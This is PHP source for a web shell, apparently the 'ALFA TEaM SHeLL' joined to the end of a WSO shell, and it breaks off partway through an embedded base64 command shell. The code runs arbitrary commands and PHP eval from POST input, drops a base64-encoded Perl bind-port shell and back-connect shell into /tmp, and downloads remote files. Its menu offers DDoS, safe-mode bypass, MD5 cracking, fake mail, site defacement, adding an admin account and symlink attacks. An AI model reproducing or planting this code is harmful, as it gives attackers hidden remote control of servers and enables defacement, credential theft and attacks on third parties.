$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; echo "<h1>Network tools</h1><div class=content>
198 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
199 <span>Bind port to /bin/sh [perl]</span><br/>
200 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
201 </form>
202 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
203 <span>Back-connect [perl]</span><br/>
204 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
205 </form><br>"; if(isset($_POST['p1'])) { function cf($f,$t) { $w = @fopen($f,"w") or @function_exists('file_put_contents'); if($w){ @fwrite($w,@base64_decode($t)); @fclose($w); } } if($_POST['p1'] == 'bpp') { cf("/tmp/bp.pl",$bind_port_p); $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; unlink("/tmp/bp.pl"); } if($_POST['p1'] == 'bcp') { cf("/tmp/bc.pl",$back_connect_p); $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; unlink("/tmp/bc.pl"); } } echo '</div>'; wsoFooter(); } function actionRC() { if(!@$_POST['p1']) { $a = array( "uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode') ); echo serialize($a); } else { eval($_POST['p1']); } } if( empty($_POST['a']) ) if(isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'SecInfo'; if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) call_user_func('action' . $_POST['a']); exit;
206}
207
208
209@define('VERSION','1.0');
210@error_reporting(E_ALL ^ E_NOTICE);
211@session_start();
212@ini_set('error_log',NULL);
213@ini_set('log_errors',0);
214@ini_set('max_execution_time',0);
215@set_time_limit(0);
216@set_magic_quotes_runtime(0);
217if(get_magic_quotes_gpc()) {
218function alfastripslashes($array) {
219return is_array($array) ? array_map('alfastripslashes', $array) : stripslashes($array);
220}
221$_POST = alfastripslashes($_POST);
222}
223$default_action = 'FilesMan';
224$default_use_ajax = true;
225$default_charset = 'Windows-1251';
226if (strtolower(substr(PHP_OS,0,3))=="win")
227$sys='win';
228else
229$sys='unix';
230$home_cwd = @getcwd();
231if(isset($_POST['c']))
232@chdir($_POST['c']);
233$cwd = @getcwd();
234if($sys == 'win')
235{
236$home_cwd = str_replace("\\", "/", $home_cwd);
237$cwd = str_replace("\\", "/", $cwd);
238}
239if($cwd[strlen($cwd)-1] != '/' )
240$cwd .= '/';
241function alfaEx($in) {
242$out = '';
243if (function_exists('exec')) {
244@exec($in,$out);
245$out = @join("\n",$out);
246} elseif (function_exists('passthru')) {
247ob_start();
248@passthru($in);
249$out = ob_get_clean();
250} elseif (function_exists('system')) {
251ob_start();
252@system($in);
253$out = ob_get_clean();
254} elseif (function_exists('shell_exec')) {
255$out = shell_exec($in);
256} elseif (is_resource($f = @popen($in,"r"))) {
257$out = "";
258while(!@feof($f))
259$out .= fread($f,1024);
260pclose($f);
261}
262return $out;
263}
264$down=@getcwd();
265if($sys=="win")
266$down.='\\';
267else
268$down.='/';
269if(isset($_POST['rtdown']))
270{
271$url = $_POST['rtdown'];
272$newfname = $down. basename($url);
273$file = fopen ($url, "rb");
274if ($file) {
275$newf = fopen ($newfname, "wb");
276if ($newf)
277while(!feof($file)) {
278fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
279}
280}
281if ($file) {
282fclose($file);
283}
284if ($newf) {
285fclose($newf);
286}
287}
288function alfahead()
289{
290if(empty($_POST['charset']))
291$_POST['charset'] = $GLOBALS['default_charset'];
292$freeSpace = @diskfreespace($GLOBALS['cwd']);
293$totalSpace = @disk_total_space($GLOBALS['cwd']);
294$totalSpace = $totalSpace?$totalSpace:1;
295$on="<font color=#0F0> ON </font>";
296$of="<font color=red> OFF </font>";
297$none="<font color=#0F0> NONE </font>";
298if(function_exists('curl_version'))
299$curl=$on;
300else
301$curl=$of;
302if(function_exists('mysql_get_client_info'))
303$mysql=$on;
304else
305$mysql=$of;
306if(function_exists('mssql_connect'))
307$mssql=$on;
308else
309$mssql=$of;
310if(function_exists('pg_connect'))
311$pg=$on;
312else
313$pg=$of;
314if(function_exists('oci_connect'))
315$or=$on;
316else
317$or=$of;
318if(@ini_get('disable_functions'))
319$disfun=@ini_get('disable_functions');
320else
321$disfun="All Functions Enabled";
322if(@ini_get('safe_mode'))
323$safe_modes="<font color=red>ON</font>";
324else
325$safe_modes="<font color=#0F0 >OFF</font>";
326if(@ini_get('open_basedir'))
327$open_b=@ini_get('open_basedir');
328else
329$open_b=$none;
330if(@ini_get('safe_mode_exec_dir'))
331$safe_exe=@ini_get('safe_mode_exec_dir');
332else
333$safe_exe=$none;
334if(@ini_get('safe_mode_include_dir'))
335$safe_include=@ini_get('safe_mode_include_dir');
336else
337$safe_include=$none;
338if(!function_exists('posix_getegid'))
339{
340$user = @get_current_user();
341$uid = @getmyuid();
342$gid = @getmygid();
343$group = "?";
344} else
345{
346$uid = @posix_getpwuid(posix_geteuid());
347$gid = @posix_getgrgid(posix_getegid());
348$user = $uid['name'];
349$uid = $uid['uid'];
350$group = $gid['name'];
351$gid = $gid['gid'];
352}
353$cwd_links = '';
354$path = explode("/", $GLOBALS['cwd']);
355$n=count($path);
356for($i=0; $i<$n-1; $i++) {
357$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
358for($j=0; $j<=$i; $j++)
359$cwd_links .= $path[$j].'/';
360$cwd_links .= "\")'>".$path[$i]."/</a>";
361}
362$drives = "";
363foreach(range('c','z') as $drive)
364if(is_dir($drive.':\\'))
365$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
366echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
367<html xmlns="http://www.w3.org/1999/xhtml">
368<head>
369<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
370<link href="http://iran.grn.cc/13.png" rel="icon" type="image/x-icon"/>
371<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM SHeLL ::..</title>
372<style type="text/css">
373<!--
374#alert {position: relative;}
375#alert:hover:after {
376background: hsla(0,0%,0%,.8);
377border-radius: 3px;
378color: #f6f6f6;
379content: \'Hidden shell\';
380font: bold 12px/30px sans-serif;
381height: 30px;
382left: 50%;
383margin-left: -60px;
384position: absolute;
385text-align: center;
386top: 50px; width: 120px;
387}
388#alert:hover:before {
389border-bottom: 10px solid hsla(0,0%,0%,.8);
390border-left: 10px solid transparent;
391border-right: 10px solid transparent;content: \'\';
392height: 0;
393left: 50%;
394margin-left: -10px;
395position: absolute;
396top: 40px;
397width: 0;
398}
399#alert:target {display: none;}
400.alert_red {
401animation: alert 1s ease forwards;
402background-color: #c4453c;
403background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
404background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
405color: #f6f6f6;display: block;
406font: bold 16px/40px sans-serif;
407height: 40px;
408position: absolute;
409text-align: center;
410text-decoration: none;
411top: -5px;
412width: 100%;
413}
414.alert_green {animation: alert 1s ease forwards;
415background-color: #27979B;
416background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));
417background-size: 20px 20px;
418box-shadow: 0 5px 0 hsla(0,0%,0%,.1);
419color: #f6f6f6;
420display: block;
421font: bold 16px/40px sans-serif;
422height: 40px;
423position: absolute;
424text-align: center;
425text-decoration: none;
426top: -5px;
427width: 100%;
428}
429@keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}
430.whole {
431background-color: #0E304A;
432height:auto;
433width: auto;
434margin-top: 10px;
435margin-right: 10px;
436margin-left: 10px;
437}
438.header {
439height: auto;
440width: auto;
441border: 7px solid #0E304A;
442color: #67ABDF;
443font-size: 12px;
444font-family: Verdana, Geneva, sans-serif;
445background-color: #000;
446}
447.header a {color:#0F0; text-decoration:none;}
448span {
449font-weight: bolder;
450color: #FFF;
451}
452#meunlist {
453font-family: Verdana, Geneva, sans-serif;
454color: #FFF;
455background-color: #000;
456width: auto;
457border-right-width: 7px;
458border-left-width: 7px;
459border-top-style: solid;
460border-right-style: solid;
461border-bottom-style: solid;
462border-left-style: solid;
463border-top-color: #0E304A;
464border-right-color: #0E304A;
465border-bottom-color: #0E304A;
466border-left-color: #0E304A;
467height: auto;
468font-size: 12px;
469font-weight: bold;
470border-top-width: 0px;
471}
472.whole #meunlist ul {
473padding-top: 5px;
474padding-right: 5px;
475padding-bottom: 7px;
476padding-left: 2px;
477text-align:center;
478list-style-type: none;
479margin: 0px;
480}
481.whole #meunlist li {
482margin: 0px;
483padding: 0px;
484display: inline;
485}
486.whole #meunlist a {
487font-family: arial, sans-serif;
488font-size: 14px;
489text-decoration:none;
490font-weight: bold;
491color: #fff;
492clear: both;
493width: 100px;
494margin-right: -6px;
495padding-top: 3px;
496padding-right: 15px;
497padding-bottom: 3px;
498padding-left: 15px;
499border-right-width: 1px;
500border-right-style: solid;
501border-right-color: #FFF;
502}
503.whole #meunlist a:hover {
504color: #000;
505background: #646464;
506}
507.foot {
508font-family: Verdana, Geneva, sans-serif;
509background-color: #000;
510margin: 0px;
511padding: 0px;
512width: 100%;
513text-align: center;
514font-size: 12px;
515color: #0E304A;
516border-right-width: 7px;
517border-left-width: 7px;
518border-bottom-width: 7px;
519border-bottom-style: solid;
520border-right-style: solid;
521border-right-style: solid;
522border-left-style: solid;
523border-top-color: #0E304A;
524border-right-color: #0E304A;
525border-bottom-color: #0E304A;
526border-left-color: #0E304A;
527}
528#text{
529text-align:center;
530}
531';
532if(is_writable($GLOBALS['cwd']))
533{
534echo ".foottable {
535width: 300px;
536font-weight: bold;
537}";}
538else
539{
540echo ".foottable {
541width: 300px;
542font-weight: bold;
543background-color:red;
544}
545.dir {
546background-color:red;
547}
548";
549}
550echo '.main th{text-align:left;}
551.main a{color: #FFF;}
552.main tr:hover{background-color:#646464;}
553.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }
554.bigarea{ width:99%; height:300px; }
555</style>
556';
557echo "<script>
558var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
559var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
560var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
561var alfa1_ = '" . ((strpos(@$_POST['alfa1'],"\n")!==false)?'':htmlspecialchars($_POST['alfa1'],ENT_QUOTES)) ."';
562var alfa2_ = '" . ((strpos(@$_POST['alfa2'],"\n")!==false)?'':htmlspecialchars($_POST['alfa2'],ENT_QUOTES)) ."';
563var alfa3_ = '" . ((strpos(@$_POST['alfa3'],"\n")!==false)?'':htmlspecialchars($_POST['alfa3'],ENT_QUOTES)) ."';
564var alfa4_ = '" . ((strpos(@$_POST['alfa4'],"\n")!==false)?'':htmlspecialchars($_POST['alfa4'],ENT_QUOTES)) ."';
565var alfa5_ = '" . ((strpos(@$_POST['alfa5'],"\n")!==false)?'':htmlspecialchars($_POST['alfa5'],ENT_QUOTES)) ."';
566var alfa6_ = '" . ((strpos(@$_POST['alfa6'],"\n")!==false)?'':htmlspecialchars($_POST['alfa6'],ENT_QUOTES)) ."';
567var alfa7_ = '" . ((strpos(@$_POST['alfa7'],"\n")!==false)?'':htmlspecialchars($_POST['alfa7'],ENT_QUOTES)) ."';
568var alfa8_ = '" . ((strpos(@$_POST['alfa8'],"\n")!==false)?'':htmlspecialchars($_POST['alfa8'],ENT_QUOTES)) ."';
569var alfa9_ = '" . ((strpos(@$_POST['alfa9'],"\n")!==false)?'':htmlspecialchars($_POST['alfa9'],ENT_QUOTES)) ."';
570var alfa10_ = '" . ((strpos(@$_POST['alfa10'],"\n")!==false)?'':htmlspecialchars($_POST['alfa10'],ENT_QUOTES)) ."';
571var d = document;
572function set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
573if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
574if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
575if(alfa1!=null)d.mf.alfa1.value=alfa1;else d.mf.alfa1.value=alfa1_;
576if(alfa2!=null)d.mf.alfa2.value=alfa2;else d.mf.alfa2.value=alfa2_;
577if(alfa3!=null)d.mf.alfa3.value=alfa3;else d.mf.alfa3.value=alfa3_;
578if(alfa4!=null)d.mf.alfa4.value=alfa4;else d.mf.alfa4.value=alfa4_;
579if(alfa5!=null)d.mf.alfa5.value=alfa5;else d.mf.alfa5.value=alfa5_;
580if(alfa6!=null)d.mf.alfa6.value=alfa6;else d.mf.alfa6.value=alfa6_;
581if(alfa7!=null)d.mf.alfa7.value=alfa7;else d.mf.alfa7.value=alfa7_;
582if(alfa8!=null)d.mf.alfa8.value=alfa8;else d.mf.alfa8.value=alfa8_;
583if(alfa9!=null)d.mf.alfa9.value=alfa9;else d.mf.alfa9.value=alfa9_;
584if(alfa10!=null)d.mf.alfa10.value=alfa10;else d.mf.alfa10.value=alfa10_;
585if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
586}
587function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset) {
588set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset);
589d.mf.submit();
590}</script>";
591echo '
592</head>
593<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
594<div class="whole">
595<form method=post name=mf style="display:none;">
596<input type=hidden name=a>
597<input type=hidden name=c>
598<input type=hidden name=alfa1>
599<input type=hidden name=alfa2>
600<input type=hidden name=alfa3>
601<input type=hidden name=alfa4>
602<input type=hidden name=alfa5>
603<input type=hidden name=alfa6>
604<input type=hidden name=alfa7>
605<input type=hidden name=alfa8>
606<input type=hidden name=alfa9>
607<input type=hidden name=alfa10>
608<input type=hidden name=charset>
609</form>
610<div id=\'alert\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell Is Here ( Click )</font></a></div><br><p>
611<div class="header"><table width="100%" border="0" align="lift">
612<tr>
613<td width="3%"><span><font color=#27979B>Uname:</font></span></td>
614<td colspan="2"><b>'.substr(@php_uname(), 0, 120).'</b></td>
615</tr>
616<tr>
617<td><span><font color=#27979B>User:</font></span></td>
618<td><b>'. $uid . ' [ ' . $user . ' ] </b><span> <font color=#27979B> Group: </font></span><b>' . $gid . ' [ ' . $group . ' ]</b> </td>
619<td width="12%" rowspan="8"><img alt="" src="http://iran.grn.cc/farvahar-iran.png" /></td>
620</tr>
621<tr>
622<td><span><font color=#27979B>PHP:</font></span></td>
623<td><b>'.@phpversion(). ' </b><span> <font color=#27979B> Safe Mode: </font>'.$safe_modes.'</span></td>
624</tr>
625<tr>
626<td><span><font color=#27979B>ServerIP:</font></span></td>
627<td><b>'.@$_SERVER["SERVER_ADDR"].' <span><font color=#27979B>Your IP:</font></span><b> '.@$_SERVER["REMOTE_ADDR"].'</b></td>
628</tr>
629<tr>
630<td><span><font color=#27979B>Domains:</font></span></td>
631<td width="76%"><b>';
632if($GLOBALS['sys']=='unix')
633{
634$d0mains = @file("/etc/named.conf");
635if(!$d0mains)
636{
637echo "CANT READ named.conf";
638}
639else
640{
641$count;
642foreach($d0mains as $d0main)
643{
644if(@ereg("zone",$d0main))
645{
646preg_match_all('#zone "(.*)"#', $d0main, $domains);
647flush();
648if(strlen(trim($domains[1][0])) > 2){
649flush();
650$count++;
651}
652}
653}
654echo "$count Domains";
655}
656}
657else{ echo"CANT READ |Windows|";}
658echo '</b></td>
659</tr>
660<tr>
661<td height="16"><span><font color=#27979B>HDD:<font></span></td>
662<td><span><font color=#27979B>Total:</font></span><b>'.alfaSize($totalSpace).' </b><span><font color=#27979B>Free:</font></span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
663</tr>';
664if($GLOBALS['sys']=='unix' )
665{
666if(!@ini_get('safe_mode'))
667{
668if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){
669echo '<tr><td height="18" colspan="2"><span><font color=#27979B>Useful : </font></span><b>';
670$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
671foreach($userful as $item)
672if(alfaWhich($item))
673echo $item.',';
674echo '</b></td>
675</tr>
676<tr>
677<td height="0" colspan="2"><span><font color=#27979B>Downloader:</font></span>';
678$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
679foreach($downloaders as $item2)
680if(alfaWhich($item2))
681echo '<b>'.$item2.',';
682echo '</b></td>
683</tr>';
684}else{
685echo '<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>';
686echo '--------------</td>
687</tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
688</tr>';
689}
690}
691else
692{
693echo '<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>';
694echo '--------------</td>
695</tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
696</tr>';
697}
698}
699else
700{
701echo '<tr><td height="18" colspan="2"><span><font color=#27979B>Window:</font></span><b>';
702echo alfaEx('ver');
703echo '</td>
704</tr> <tr>
705<td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
706</tr></b>';
707}
708$quotes = get_magic_quotes_gpc();if ($quotes == "1" or $quotes == "on"){$magic = '<b><font color="#0F0">ON</font>';}else{$magic = '<b><font color="red">OFF</font>';}
709echo '<tr>
710<td height="16" colspan="2"><span><font color=#27979B>Disabled Functions:</font></span><b>'.$disfun.'</b></td>
711</tr>
712<tr>
713<td height="16" colspan="2"><span><font color=#27979B>CURL:</font><b>'.$curl.' </b><font color=#27979B>Magic Quotes:</font><b>'.$magic.' </b><font color=#27979B> MySQL:</font><b>'.$mysql.' </b><font color=#27979B>MSSQL:</font><b>'.$mssql.' </b><font color=#27979B> PostgreSQL:</font><b>'.$pg.'</b> <font color=#27979B> Oracle:</font> </span><b>'.$or.'</b></td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3pvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj1BTEZBJTIwVEVhTSUyMDIwMTIiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjb2xvcj0iIzBGMCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7U29sZSBTYWQgJiBJbnZpc2libGU8L2ZvbnQ+PC9zcGFuPjwvYT4=").'</td>
714</tr>
715<tr>
716<td height="11" colspan="3"><span><font color=#27979B>Open_basedir:<b>'.$open_b.'</b></font> <font color=#27979B>Safe_mode_exec_dir:</b>'.$safe_exe.'</b> </font><font color=#27979B> Safe_mode_include_dir:</b>'.$safe_include.'</b></font></td>
717</tr>
718<tr>
719<td height="11"><span><font color=#27979B>SoftWare:<font color=#27979B> </span></td>
720<td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
721</tr>';
722if($GLOBALS[sys]=="win")
723{
724echo '<tr>
725<td height="12"><span><font color=#27979B>DRIVE:</font></span></td>
726<td colspan="2"><b>'.$drives.'</b></td>
727</tr>';
728}
729echo '<tr>
730<td height="12"><span><font color=#27979B>PWD:</font></span></td>
731<td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >| Home Shell |</font></a></td>
732</tr>
733</table>
734</div>
735<div id="meunlist">
736<ul>
737<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')"><font color=#27979B>Home</font></a></li>
738<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')"><font color=#27979B>Process</font></a></li>
739<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')"><font color=#27979B>Eval</font></a></li>
740<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')"><font color=#27979B>SQL</font></a></li>
741<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')"><font color=#27979B>En-Decoder</font></a></li>
742<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')"><font color=#27979B>BC</font></a></li>
743<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')"><font color=#27979B>ZONE-H</font></a></li>
744<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')"><font color=#27979B>DDOS</font></a></li>
745<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')"><font color=#27979B>ByPasser</font></a></li>
746<li><a href="#" onclick="g(\'cgishell\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Perl</font></a></li>
747<li><a href="#" onclick="g(\'cgipython\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Python</font></a></li>
748<li><a href="#" onclick="g(\'cmdphp\',null,\'\',\'\',\'\')"><font color=#27979B>CMD</font></a></li>
749<li><a href="#" onclick="g(\'cpcrack\',null,\'\',\'\',\'\')"><font color=#27979B>MD5 Cracker</font></a></li>
750<li><a href="#" onclick="g(\'portscanner\',null,\'\',\'\',\'\')"><font color=#27979B>Port Scaner</font></a></li>
751<li><a href="#" onclick="g(\'basedir\',null,\'\',\'\',\'\')"><font color=#27979B>Open BaseDir</font></a></li>
752<li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')"><font color=#27979B>Fake Mail</font></a></li>
753<li><a href="#" onclick="g(\'ziper\',null,\'\',\'\',\'\')"><font color=#27979B>Ziper</font></a></li>
754<li><a href="#" onclick="g(\'IndexChanger\',null,\'\',\'\',\'\')"><font color=#27979B>Index Changer</font></a></li>
755<li><a href="#" onclick="g(\'pwchanger\',null,\'\',\'\',\'\')"><font color=#27979B>Add New Admin</font></a></li>
756<li><a href="#" onclick="g(\'Vbinject\',null,\'\',\'\',\'\')"><font color=#27979B>Vb Shell inject</font></a></li>
757<li><a href="#" onclick="g(\'php2xml\',null,\'\',\'\',\'\')"><font color=#27979B>PHP2XML</font></a></li>
758<li><a href="#" onclick="g(\'cloudflare\',null,\'\',\'\',\'\')"><font color=#27979B>CloudFlare</font></a></li>
759<li><a href="#" onclick="g(\'Whmcs\',null,\'\',\'\',\'\')"><font color=#27979B>Whmcs</font></a></li>
760<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')"><font color=#27979B>Symlink</font></a></li>
761<li><a href="#" onclick="g(\'team\',null,\'\',\'\',\'\')"><font color=#27979B>About Us</font></a></li>
762<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')"><font color=#27979B>Remove Shell</font></a></li>
763</ul>
764</div>
765';
766}
767function alfacmdphp(){
768alfahead();
769echo '<div class=header>';
770$code = 'PD9waHANCi8vZGlzYWJsZSBtYWdpYyBxdW90ZXMhIQ0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMXkVfTk9USUNFKTsNCiR0ZiA9IGV4cGxvZGUoJy8nLCAkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQokdGYgPSAkdGZbY291bnQoJHRmKS0xXTsNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0Kew0KICRwcm9jZXNzID0gYXJyYXkoJiRfR0VULCAmJF9QT1NULCAmJF9DT09LSUUsICYkX1JFUVVFU1QpOw0KIHdoaWxlIChsaXN0KCRrZXksICR2YWwpID0gZWFjaCgkcHJvY2VzcykpDQogew0KICBmb3JlYWNoICgkdmFsIGFzICRrID0+ICR2KQ0KICB7DQogICB1bnNldCgkcHJvY2Vzc1ska2V5XVska10pOw0KICAgaWYgKGlzX2FycmF5KCR2KSkNCiAgIHsNCiAgICAkcHJvY2Vzc1ska2V5XVtzdHJpcHNsYXNoZXMoJGspXSA9ICR2Ow0KICAgICRwcm9jZXNzW10gPSAmJHByb2Nlc3NbJGtleV1bc3RyaXBzbGFzaGVzKCRrKV07DQogICB9DQogICBlbHNlDQogICB7DQogICAgJHByb2Nlc3NbJGtleV1bc3RyaXBzbGFzaGVzKCRrKV0gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICAgfQ0KICB9DQogfQ0KIHVuc2V0KCRwcm9jZXNzKTsNCn0NCi8vDQpmdW5jdGlvbiBzaGVsbF9leGVjMigkc3RyLCAkY3dkKQ0Kew0KICRwaXBlcyA9IGFycmF5KCk7DQogJHByb2Nlc3MgPSBwcm9jX29wZW4oJHN0ci4nIDI+JjEnLCBhcnJheShhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IiksIGFycmF5KCJwaXBlIiwidyIpKSwgJHBpcGVzLCAkY3dkKTsNCiByZXR1cm4gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfQ0KaWYgKCRfUE9TVFsndmVyaWZ5J10pDQp7DQogJGRpcm5vdyA9IHNoZWxsX2V4ZWMyKCJwd2QiLCAkX1BPU1RbJ3ZlcmlmeSddKTsNCiBpZiAoc3Vic3RyKCRkaXJub3csIDAsIHN0cmxlbigkZGlybm93KS0xKT09JF9QT1NUWyd2ZXJpZnknXSkNCiB7DQogIGVjaG8oJ2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuIjsgIG5ld2NtZCgpOycpOw0KIH0NCiBlbHNlDQogew0KICAkZWUgPSBleHBsb2RlKCcvJywgJF9QT1NUWyd2ZXJpZnknXSk7DQogIGVjaG8oJ2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuYmFzaDogY2Q6ICcuJF9QT1NUWyd2ZXJpZnknXS4nOiBQZXJtaXNzaW9uIGRlbmllZCFcbiI7ICBuZXdjbWQoKTsnKTsNCiB9DQogZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2p4Y21kJ10gJiYgJF9QT1NUWydjd2QnXSkgLy95ZWEsIGdvIEFKQVgNCnsNCiAkdGhlY21kID0gJF9QT1NUWydqeGNtZCddOw0KIGlmIChzdWJzdHIoJHRoZWNtZCwgMCwgNSk9PSI8cGhwPiIpDQogew0KICBldmFsKCckcmVzdWx0ID0gJy5zdWJzdHIoJHRoZWNtZCwgNikuJzsnKTsNCiB9DQogZWxzZQ0KICRyZXN1bHQgPSBzaGVsbF9leGVjMigkX1BPU1RbJ2p4Y21kJ10uIiAyPiYxIiwgJF9QT1NUWydjd2QnXSk7DQogaWYgKHN1YnN0cigkcmVzdWx0LCBzdHJsZW4oJHJlc3VsdCktMSwgMSk9PSJcbiIpDQogew0KICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsIDAsIHN0cmxlbigkcmVzdWx0KS0xKTsNCiB9DQogZWNobygnZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSs9Jy5qc29uX2VuY29kZSgkcmVzdWx0KS4nKyJcbiI7bmV3Y21kKCk7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zY3JvbGxUb3A9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zY